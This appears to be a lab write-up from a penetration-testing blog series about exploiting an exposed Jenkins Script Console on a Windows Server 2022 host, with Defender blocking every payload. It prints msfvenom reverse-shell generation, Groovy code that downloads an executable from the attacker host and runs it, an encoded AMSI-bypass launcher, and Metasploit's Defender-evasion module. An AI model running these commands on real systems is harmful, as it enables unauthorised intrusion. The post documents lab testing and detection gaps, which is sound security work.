Metasploit Deep Dive Part 7: A Different Door, the Same Wall
Part 6 ended with a clean but sobering result: the CVE-2014-3120 Elasticsearch exploit gave me real, unauthenticated remote code execution running as SYSTEM, and Windows Defender blocked every attempt to turn that into a Meterpreter session — three independent times, across three independent detection layers, with no session ever connecting back. The Elasticsearch vector was exhausted.
But the Sn1per Part 9 scan had flagged something else on target-win2022 sitting right there on port 8080: Jenkins. Before writing Part 7 off as “Defender wins again, see you next time,” it felt worth making one genuine effort to find a stock Metasploit approach that could actually get through. Different delivery mechanism, different privilege context, different payload options. Maybe a different door leads somewhere different.
It doesn’t. But the way it doesn’t is instructive.
The Jenkins recon
A basic curl against the Jenkins root confirms it immediately:
curl -s -I http://10.10.10.50:8080/
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
X-Content-Type-Options: nosniff
X-Hudson: 1.395
X-Jenkins: 2.568.1
X-Jenkins-Session: 07e21a22
No auth challenge. The dashboard is fully open to unauthenticated requests. Jenkins 2.568.1 — recent enough that this shouldn’t be the default, but here we are.
The interesting part is /script — Jenkins’s built-in Groovy Script Console, normally restricted to administrators. A quick check:
curl -s -o /dev/null -w "%{http_code}" http://10.10.10.50:8080/script
200
HTTP 200 with no credentials. The Script Console is fully exposed. To confirm what this is, a quick Groovy snippet to check process identity:
println "whoami".execute().text
Posted to /script with no CSRF crumb (the crumb issuer appears to be disabled — data-crumb-value="" in the page markup), the response comes back immediately:
nt authority\system
That’s it. No authentication, no CSRF protection, and the Jenkins process itself runs as Local System. This is a stronger primitive than the Elasticsearch MVEL vector from Part 6 in every meaningful way: simpler to reach, no CVE-specific version targeting, and already at maximum privilege. There’s no lateral movement or privesc question — the foothold is already as good as it gets on the Windows side.
The gap between “arbitrary code execution as SYSTEM” and “Meterpreter session” is entirely a delivery problem now. The question is whether a payload can get to the machine and run without Defender intervening.
Trying the Metasploit module first
Before going manual, it’s worth checking whether Metasploit has a Jenkins Script Console module — it does:
msf6 > use exploit/multi/http/jenkins_script_console
msf6 exploit(multi/http/jenkins_script_console) > set RHOSTS 10.10.10.50
msf6 exploit(multi/http/jenkins_script_console) > set RPORT 8080
msf6 exploit(multi/http/jenkins_script_console) > set USERNAME ""
msf6 exploit(multi/http/jenkins_script_console) > set PASSWORD ""
msf6 exploit(multi/http/jenkins_script_console) > set payload java/meterpreter/reverse_tcp
[-] Exploit failed: java/meterpreter/reverse_tcp is not a compatible payload.
The module exists, but its payload space doesn’t accept a staged Java meterpreter in this configuration. show payloads doesn’t offer anything useful for getting an interactive session. This module is a dead end for this purpose — driving the Jenkins console manually is the only option left.
Attempt one: a straightforward msfvenom exe
The big difference between Groovy and the MVEL RCE from Part 6 is that Groovy has full access to Java’s File and ProcessBuilder APIs. MVEL could only execute Java — no writing to disk, no launching arbitrary processes. Groovy can do both.
Generate a standard 64-bit meterpreter payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f exe -o /tmp/svc.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch was selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7680 bytes
Saved to: /tmp/svc.exe
Serve it with a simple HTTP server, then post this to the Jenkins Script Console:
def out = new File("C:/Windows/Temp/svc.exe")
out.bytes = new URL("http://10.10.10.5:8000/svc.exe").bytes
"C:/Windows/Temp/svc.exe".execute()
"done"
The HTTP server logs the download immediately:
10.10.10.50 - - [14/Sep/2026 19:25:09] "GET /svc.exe HTTP/1.1" 200 -
The file wrote cleanly. Then the Script Console returns:
java.io.IOException: Cannot run program "C:/Windows/Temp/svc.exe": CreateProcess error=225,
Operation did not complete successfully because the file contains a virus or potentially
unwanted software
CreateProcess error=225 — this is a slightly different failure mode from what Part 6 saw with the MVEL-delivered jars. Those were silently quarantined before execution was attempted at all. Here, the file survived write-to-disk long enough to reach CreateProcess, and Windows itself refused to launch it because Defender had already flagged the file during that window.
Get-MpThreatDetection on target-win2022 confirms:
ThreatID : 2147966833
DetectionSourceTypeID : 3
ProcessName : C:\Program Files\Eclipse Adoptium\jdk-21.0.12.8-hotspot\bin\java.exe
Resources : {file:_C:\Windows\Temp\svc.exe}
InitialDetectionTime : 14/09/2026 19:25:09
ThreatStatusID : 3
DetectionSourceTypeID 3 is the real-time file scanner — the same layer that caught the three Elasticsearch jars in Part 6. The attribution is to java.exe (the Jenkins JVM), which is how Windows sees it: the process that triggered the write and the subsequent execute call was the JVM. ThreatID 2147966833 is a new one specific to the msfvenom-generated exe.
Attempt two: the same AMSI bypass from Part 6
Part 6 established that Defender’s third detection layer — pre-execution behavior and command-line monitoring, DetectionSourceTypeID 2, ThreatID 2147830457 — blocked the amsiInitFailed-style reflection bypass delivered as a base64 -EncodedCommand blob. That detection fired on the encoded command content, regardless of which shell or process launched it.
The interesting question is whether that’s genuinely content-based and process-agnostic, or whether it’s specific to the execution context. Groovy’s .execute() runs the command via the Jenkins JVM, not a shell launched by hand. If Defender is matching on the -EncodedCommand blob rather than the launch path, it should fire the same way. If it’s context-dependent, this route might behave differently.
def enc = "JABhAD0AWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5A..." // full amsiInitFailed + IEX blob
def cmd = ["cmd.exe", "/c", "powershell", "-nop", "-w", "hidden", "-EncodedCommand", enc]
def proc = cmd.execute()
proc.waitForOrKill(8000)
"OUT:" + proc.in.text + " ERR:" + proc.err.text
Result:
java.io.IOException: Cannot run program "cmd.exe": CreateProcess error=5, Access is denied
error=5. Exact same error code. The detection fired before cmd.exe even launched — the CreateProcess call itself was denied. Get-MpThreatDetection shows a new entry:
DetectionID : {038ED378-372C-400C-B22F-95B191B71159}
ThreatID : 2147830457
DetectionSourceTypeID : 2
InitialDetectionTime : 14/09/2026 19:44:29
ThreatID 2147830457 again. This is the fourth independent instance of that exact detection across the whole series — first via the MVEL chain in Part 6 twice, then direct shell, now via Jenkins Java. The detection layer doesn’t care what process is doing the launching. It’s reading the content of the command being constructed and blocking it before the process starts. Changing the delivery vehicle from Elasticsearch’s JVM to Jenkins’s JVM made no difference at all.
Attempt three: Metasploit’s own evasion module
This is the one that really closes the chapter. Metasploit ships a module specifically designed to evade Windows Defender:
msf6 > use evasion/windows/windows_defender_exe
msf6 evasion(windows/windows_defender_exe) > set payload windows/meterpreter/reverse_tcp
msf6 evasion(windows/windows_defender_exe) > set LHOST 10.10.10.5
msf6 evasion(windows/windows_defender_exe) > set LPORT 4445
msf6 evasion(windows/windows_defender_exe) > run
[*] Compiled executable size: 3584
[+] ImcvCZ.exe stored at /home/anon/.msf4/local/ImcvCZ.exe
A few things to note about this module. It only accepts 32-bit payloads — show payloads lists 222 compatible options, none of them windows/x64/. That’s not a problem on Windows Server 2022 because of WOW64, the Windows-on-Windows emulation layer that lets 32-bit executables run on 64-bit Windows transparently. A 32-bit meterpreter session on a 64-bit target is a real, functional session — you just can’t do kernel-level operations that require native 64-bit code, and you see the WOW64 filesystem redirections (e.g. System32 reads as SysWOW64 for some paths). For the purposes of getting any session at all, WOW64 doesn’t matter.
The generated file is 3584 bytes — notably smaller than the 7680-byte plain msfvenom exe, which reflects the module’s approach of stripping standard meterpreter packing in favour of its own less-recognisable structure.
Handler started on port 4445. Same Groovy delivery chain:
def out = new File("C:/Windows/Temp/ImcvCZ.exe")
out.bytes = new URL("http://10.10.10.5:8000/ImcvCZ.exe").bytes
"C:/Windows/Temp/ImcvCZ.exe".execute()
"done"
Download confirmed. Then:
java.io.IOException: Cannot run program "C:/Windows/Temp/ImcvCZ.exe": CreateProcess error=225,
Operation did not complete successfully because the file contains a virus or potentially
unwanted software
error=225 again. No session on the handler. Get-MpThreatDetection:
DetectionID : {BF9ABFB4-6064-47AF-B286-526BCED917A6}
ThreatID : 2147897077
DetectionSourceTypeID : 3
ProcessName : C:\Program Files\Eclipse Adoptium\jdk-21.0.12.8-hotspot\bin\java.exe
Resources : {file:_C:\Windows\Temp\ImcvCZ.exe}
InitialDetectionTime : 14/09/2026 20:10:09
ThreatStatusID : 3
The ThreatID is 2147897077 — different from the 2147966833 that flagged the plain msfvenom exe, and different from everything else in the series. Defender doesn’t just have a generic “suspicious executable” heuristic that caught this incidentally. It has a named, specific signature for the output of Metasploit’s own purpose-built Defender evasion module. The tool designed to get past Defender is itself in Defender’s signature database, with its own dedicated ThreatID.
What the table looks like at the end
Here’s every delivery attempt against target-win2022 across both Parts 6 and 7, consolidated:
| Attempt | Vector | Error | Detection layer | ThreatID |
|---|---|---|---|---|
| elasticsearch.jar + modules (×3, Part 6) | Real-time file scan | Silent quarantine | 3 | 2147731934 |
| AMSI bypass via MVEL (Part 6) | AMSI scan of PowerShell | CreateProcess 5 | 2 | 2147948500 |
| EncodedCommand stager (Part 6, ×2) | Pre-exec cmd-line monitoring | CreateProcess 5 | 2 | 2147830457 |
| svc.exe via Groovy (Part 7) | Real-time file scan | CreateProcess 225 | 3 | 2147966833 |
| EncodedCommand via Groovy (Part 7) | Pre-exec cmd-line monitoring | CreateProcess 5 | 2 | 2147830457 |
| ImcvCZ.exe evasion module (Part 7) | Real-time file scan | CreateProcess 225 | 3 | 2147897077 |
Nine attempts. Two distinct RCE vectors — Elasticsearch MVEL running as a service account, Jenkins Groovy running as SYSTEM. Two completely different delivery mechanisms. Zero sessions.
The wall is not the delivery mechanism. It’s not the privilege level. It’s not the parent process. Every path hits one of two detection layers — the real-time file scanner (DetectionSourceTypeID 3) or the pre-execution behavior monitor (DetectionSourceTypeID 2) — and neither of them cares about how the payload arrived or who’s running it.
What this says about stock Metasploit vs default Defender
The honest answer is that stock Metasploit payloads — including the module specifically named “windows_defender_exe” — are well-known. Defender’s signature database is maintained against exactly these tools. The standard msfvenom output formats, the standard staged payload structures, the standard -EncodedCommand stager patterns: all of them have been in the wild long enough that AV vendors have had years to build and refine signatures for them.
This doesn’t mean Metasploit is useless. It means the gap between “running Metasploit” and “having a working session against a patched, default-configured modern Windows host” is wider than the tool’s documentation implies. That gap is where actual red team work happens: custom shellcode loaders, in-memory execution without writing to disk, process injection, living-off-the-land binaries, staged delivery that doesn’t pattern-match against known stager signatures. None of that is Metasploit’s fault — those techniques exist, Metasploit can be part of chains that use them — but none of it is “load the module, set LHOST, run.”
The other thing worth noting: the Wazuh SIEM still didn’t see any of this. The same gap flagged in Part 6 — no <localfile> block for Microsoft-Windows-Windows Defender/Operational in the target-win2022 agent config — means none of these nine detections ever reached the SIEM. Defender caught every one of them. The SIEM knows nothing about any of them. That’s a problem for a different post.
Where this leaves the series
Parts 6 and 7 together constitute the honest answer to “what happens when you run stock Metasploit against a default Windows Server 2022 build.” The answer is: you get real code execution twice, from two independent critical-severity vulnerabilities, and you get no meterpreter session either time because Defender doesn’t need perfect threat intelligence to block known payloads — it just needs to know what they look like, and it does.
Part 8 changes tactics rather than continuing this exact fight: a different target, a Linux host with no Defender anywhere near it, a clean session, and a real pivot into a segment of the lab nothing else can reach directly.
Sources: Metasploit Deep Dive Part 6: CVE-2014-3120, Sn1per Deep Dive Part 9: What a Pen Tester Without Sn1per Would Have Found.